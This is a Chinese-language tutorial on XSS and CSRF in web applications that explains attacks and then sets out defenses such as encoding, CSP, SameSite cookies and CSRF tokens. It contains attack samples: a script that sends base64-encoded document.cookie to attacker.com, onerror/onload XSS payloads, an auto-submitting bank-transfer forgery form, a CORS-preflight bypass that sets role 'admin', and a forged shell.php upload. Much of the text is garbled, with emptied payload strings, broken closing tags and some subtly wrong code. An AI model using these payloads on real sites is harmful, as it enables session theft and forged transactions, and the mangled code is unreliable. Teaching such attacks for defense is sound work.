随着Web应用的复杂度提升,JavaScript安全漏洞成为黑客的主要攻击目标。一次成功的攻击可能导致用户数据泄露、会话劫持甚至服务器沦陷。本文将深入探讨常见漏洞的原理、识别方法及防御策略。
本文将为您详细介绍跨站脚本攻击(XSS)与跨站请求伪造(CSRF)。
跨站脚本攻击(Cross-Site Scripting, XSS)通过向网页注入恶意脚本,在用户浏览器中执行非预期代码。
攻击流程:
典型场景:
技术示例:
// 恶意用户提交的评论内容
const payload = `
`;
// 未过滤直接存入数据库
db.comments.insert({ content: payload });
攻击流程:
典型特征:
技术示例:
// 攻击者构造的钓鱼链接
const evilUrl = `
https://example.com/search?query=
`;
// 服务端危险代码示例
app.get('/search', (req, res) => {
res.send(`搜索结果:${req.query.query}`);
});
攻击流程:
关键特征:
技术示例:
<script>
const token = window.location.hash.substring(1);
document.write("您的Token是: " + token);
script>
https://example.com#<img src=x onerror="alert(document.domain)">
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)">
<animate attributeName="href" values="javascript:alert(2)"/>
svg>
浏览器解析差异导致的意外执行:
<div style="display:none">
<svg><style>
"x" onerror=alert(1)>style>
div>
某些浏览器在DOM树变更时可能执行隐藏元素中的脚本
<script>
setTimeout(() => {
fetch('https://attacker.com/?data=' + btoa(document.cookie))
}, 86400000);
</script>
const xssFilters = require('xss-filters');
// 允许有限的HTML标签
const options = {
whiteList: {
a: ['href', 'title'],
p: [],
strong: []
}
};
const cleanHTML = xssFilters.inHTMLData(userInput, options);
危险示例:
// 错误的正则过滤(可绕过)
const filtered = userInput.replace(//gi, '');
// 绕过方法:ipt> → 处理后变为
输出场景 | 编码方法 | 工具函数示例 |
---|---|---|
HTML Body | 转义<, >, &, ', " | const escaped = escapeHtml(text) |
HTML Attribute | 转义除字母数字外的所有字符 | encodeURIComponent(value) |
JavaScript块 | Unicode转义 | JSON.stringify(text) |
CSS | 十六进制转义 | escapeCss(text) |
URL参数 | URL编码 | encodeURIComponent(value) |
动态上下文编码示例:
function safeOutput(context, value) {
switch(context) {
case 'html':
return value.replace(/[&<>"']/g, (c) => `${c.charCodeAt(0)};`);
case 'attr':
return value.replace(/[^a-z0-9]/gi, (c) => `${c.charCodeAt(0).toString(16)};`);
case 'js':
return JSON.stringify(value).slice(1, -1);
default:
return '';
}
}
// 安全示例
function Component({ text }) {
return {text}; // 自动转义HTML
}
// 危险示例
function DangerousComponent({ html }) {
return ;
}
{{ userContent }}
Content-Security-Policy:
default-src 'none';
script-src 'self' 'nonce-abc123' 'strict-dynamic';
style-src 'self' fonts.googleapis.com;
img-src * data:;
font-src fonts.gstatic.com;
connect-src api.example.com;
frame-ancestors 'none';
report-uri /csp-violation-report;
服务端生成:
const crypto = require('crypto');
const nonce = crypto.randomBytes(16).toString('base64');
// 注入到HTML模板
res.send(`
`);
// Express设置示例
res.cookie('sessionID', '123', {
httpOnly: true,
secure: true,
sameSite: 'Lax',
maxAge: 3600000
});
// 启用Trusted Types
if (window.trustedTypes) {
const policy = trustedTypes.createPolicy('default', {
createHTML: (input) => DOMPurify.sanitize(input)
});
}
// 安全DOM操作
document.getElementById('output').innerHTML = trustedInput; // 必须通过策略处理
XSS攻击检测系统:
// 监控可疑的DOM修改
const observer = new MutationObserver((records) => {
records.forEach(record => {
if (record.addedNodes.find(n => n.nodeName === 'SCRIPT')) {
reportXSSAttempt();
}
});
});
observer.observe(document.documentElement, { childList: true, subtree: true });
漏洞响应流程:
docker run -v $(pwd):/zap/wrk/:rw \
owasp/zap2docker-stable zap-baseline.py \
-t https://example.com -r report.html
ESLint规则示例:
{
"rules": {
"no-dangerous-innerhtml": {
"create": function(context) {
return {
"MemberExpression": function(node) {
if (node.property.name === 'innerHTML') {
context.report(node, '禁止直接使用innerHTML');
}
}
};
}
}
}
}
跨站请求伪造(Cross-Site Request Forgery, CSRF)是一种利用用户已认证身份发起非预期操作的攻击方式。攻击者诱导用户访问恶意页面,该页面自动向目标站点发送携带用户凭证的请求,导致在用户不知情下完成敏感操作。
核心攻击要素:
危害类型 | 影响范围 | 修复紧迫性 |
---|---|---|
账户接管 | 高(直接损失) | 紧急 |
数据篡改 | 中(业务影响) | 高 |
权限提升 | 高(系统风险) | 紧急 |
分布式拒绝服务(DDoS) | 低(资源消耗) | 中 |
典型特征:
攻击示例:
<body onload="document.forms[0].submit()">
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="amount" value="10000">
<input type="hidden" name="toAccount" value="attacker123">
form>
body>
绕过传统防护方案:
<script>
fetch('https://api.example.com/update', {
method: 'POST',
headers: {
'Content-Type': 'text/plain' // 绕过CORS预检
},
body: JSON.stringify({role: 'admin'}),
credentials: 'include' // 携带Cookie
});
script>
利用场景:
恶意Payload构造:
<input type="file" name="avatar" id="evilFile" style="display:none">
<script>
const file = new File([''], 'shell.php', {
type: 'application/octet-stream'
});
const dataTransfer = new DataTransfer();
dataTransfer.items.add(file);
document.getElementById('evilFile').files = dataTransfer.files;
script>
方案类型 | 生成方式 | 存储位置 | 安全性 | 适用场景 |
---|---|---|---|---|
Session绑定令牌 | 服务端随机生成 | 服务器Session | 高 | 传统Web应用 |
加密令牌 | 用户ID+时间戳+HMAC | 客户端Cookie | 中 | 无状态API |
JWT令牌 | 签名结构包含防重放字段 | 客户端LocalStorage | 中高 | SPA应用 |
加密令牌生成示例:
# Python示例:使用HMAC生成令牌
import hmac
import hashlib
import time
def generate_csrf_token(user_id):
timestamp = str(int(time.time()))
msg = f"{user_id}|{timestamp}".encode()
secret = b'your-secret-key'
digest = hmac.new(secret, msg, hashlib.sha256).hexdigest()
return f"{timestamp}:{digest}"
// Java示例:线程安全的令牌验证
public class CsrfValidator {
private final Cache<String, Boolean> tokenCache =
CacheBuilder.newBuilder().expireAfterWrite(2, TimeUnit.HOURS).build();
public boolean isValidToken(HttpServletRequest request) {
String clientToken = request.getHeader("X-CSRF-TOKEN");
String sessionToken = (String) request.getSession().getAttribute("csrfToken");
if (clientToken == null || sessionToken == null) {
return false;
}
return tokenCache.getIfPresent(clientToken) == null
&& clientToken.equals(sessionToken);
}
}
React + Axios 拦截器:
// 从Cookie获取CSRF Token
function getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
}
// 设置全局请求头
axios.interceptors.request.use(config => {
config.headers['X-CSRF-TOKEN'] = getCookie('csrfToken');
return config;
});
Vue + Fetch封装:
// 在Vue插件中封装安全请求
export default {
install(Vue) {
Vue.prototype.$secureFetch = async (url, options = {}) => {
const csrfToken = localStorage.getItem('csrfToken');
const headers = new Headers(options.headers || {});
headers.append('X-CSRF-TOKEN', csrfToken);
return fetch(url, {
...options,
headers,
credentials: 'same-origin'
});
};
}
};
模式 | 跨站请求携带条件 | 适用场景 |
---|---|---|
Strict | 完全禁止跨站Cookie | 敏感操作(如支付) |
Lax | GET请求允许(同源导航) | 默认推荐设置 |
None | 允许所有跨站请求(必须配合Secure) | 需要跨站集成的第三方服务 |
// 根据浏览器特性设置SameSite
function setCookie(name, value, options = {}) {
let cookie = `${name}=${encodeURIComponent(value)}`;
if (options.sameSite) {
const isModernBrowser = navigator.userAgent.includes('Chrome/8');
cookie += `; SameSite=${options.sameSite}`;
if (!isModernBrowser && options.sameSite === 'None') {
cookie += '; Secure';
}
}
document.cookie = cookie;
}
Redis集群存储方案:
JWT令牌负载设计:
{
"iss": "api.example.com",
"sub": "user123",
"exp": 1672480000,
"csrf": "a1b2c3d4e5",
"ip": "192.168.1.1",
"ua_hash": "9f86d081884c7d659a2feaa0c55ad015"
}
基于AI的异常请求识别:
# 使用机器学习模型检测CSRF攻击
from sklearn.ensemble import IsolationForest
def detect_anomaly(request_features):
model = IsolationForest(contamination=0.01)
model.fit(training_data)
return model.predict([request_features])[0] == -1
# 特征工程示例
features = [
request.origin != request.referer,
request.method in ['POST', 'PUT', 'DELETE'],
'X-CSRF-TOKEN' not in request.headers,
request.user_agent != stored_ua
]
严格模式验证逻辑:
public boolean verifyOrigin(HttpServletRequest request) {
String origin = request.getHeader("Origin");
String referer = request.getHeader("Referer");
// 允许缺失Origin头的GET请求
if ("GET".equalsIgnoreCase(request.getMethod()) && origin == null) {
return true;
}
// 验证Origin头白名单
List<String> allowedOrigins = Arrays.asList("https://example.com", "https://api.example.com");
return origin != null && allowedOrigins.contains(origin);
}
FIDO2集成示例:
// 关键操作前请求生物认证
async function verifyUser() {
const challenge = await fetch('/auth/challenge');
const credential = await navigator.credentials.get({
publicKey: {
challenge: new TextEncoder().encode(challenge),
rpId: 'example.com',
userVerification: 'required'
}
});
return await fetch('/auth/verify', {
method: 'POST',
body: JSON.stringify(credential)
});
}
Intruder模块攻击步骤:
# 使用Python requests进行CSRF测试
import requests
def test_csrf_protection(url, session_cookie):
headers = {
'Cookie': f'session={session_cookie}',
'Content-Type': 'application/json'
}
# 测试无Token请求
response = requests.post(url, json={"amount": 100}, headers=headers)
# 检测防护机制
if response.status_code == 403 and 'CSRF' in response.text:
return "Protected"
elif response.status_code == 200:
return "Vulnerable"
else:
return "Inconclusive"
防护层级 | 具体措施 | 实施难度 | 有效性 |
---|---|---|---|
客户端 | SameSite Cookie、二次确认 | 低 | 中 |
网络层 | Origin验证、CORS策略 | 中 | 高 |
服务端 | CSRF Token、请求签名 | 高 | 极高 |
业务层 | 操作日志、审批流程 | 高 | 极高 |
漏洞修复优先级矩阵:
推荐工具集合:
csurf
(Node.js)、Spring Security CSRF
(Java)npm audit
npx snyk test
// package.json
{
"dependencies": {
"react": "18.2.0" // 避免使用^或~
}
}
错误示例:
localStorage.setItem('apiKey', 'secret123');
正确做法:
危险配置:
app.use(cors({
origin: '*' // 允许所有域
}));
安全配置:
app.use(cors({
origin: ['https://yourdomain.com'],
methods: ['GET', 'POST']
}));
X-Frame-Options: DENY
Content-Security-Policy: frame-ancestors 'none';
eslint-plugin-security